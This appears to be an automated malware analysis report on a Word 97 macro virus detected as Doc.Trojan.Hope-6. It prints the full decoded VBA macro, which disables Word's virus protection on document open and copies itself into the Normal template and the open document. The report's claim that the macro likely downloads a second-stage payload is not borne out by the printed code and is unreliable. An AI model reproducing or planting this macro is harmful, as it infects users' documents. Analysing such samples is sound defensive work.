Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8a9ffb9e74d3e2fd…

MALICIOUS

Office (OLE)

46.5 KB Created: 2001-07-10 01:15:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: c879b741c09c5e2ca8d302dc0e621dfa SHA-1: a6562ebb1cd075669ced79526834235e76c5ff24 SHA-256: 8a9ffb9e74d3e2fd2e242a0b9125bf1ddd9e0443bdd321139ab821855077b26d
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro that is triggered by the Document_Open event. This macro is designed to delete existing macros and then add its own code, which likely downloads and executes a second-stage payload. The ClamAV detection of 'Doc.Trojan.Hope-6' further supports its malicious nature.

Heuristics 3

  • ClamAV: Doc.Trojan.Hope-6 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Hope-6
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1276 bytes
SHA-256: 47ad7aa1aaf5d5502ec2dedfc004515a203ac3faff46aef64d3e535b30ea182e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Document_Open()
 On Error Resume Next
 With Options
  .VirusProtection = (1 * 2 * 3 - 6)
    Set prevDocument = ActiveDocument
    Set nextDocument = NormalTemplate
 End With
 Set a = NormalTemplate: Set b = a.VBProject: Set c = b.VBComponents
 Set e = ActiveDocument: Set f = e.VBProject: Set g = f.VBComponents
 CheeChoong = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(1, MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines)
 g.Item(1).CodeModule.DeleteLines 1, g.Item(1).CodeModule.CountOfLines
 c.Item(1).CodeModule.DeleteLines 1, c.Item(1).CodeModule.CountOfLines
 g.Item(1).CodeModule.AddFromString CheeChoong
 c.Item(1).CodeModule.AddFromString CheeChoong
 If Day(Now()) = Month(Now()) Then
  Assistant.Visible = True
  Assistant.Animation = msoAnimationThinking
  With Assistant.NewBalloon
    .Heading = "CheeChoong!!"
    .Text = "Have a great CheeChoong..."
    .Show
  End With
  Assistant.Visible = False
 End If
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.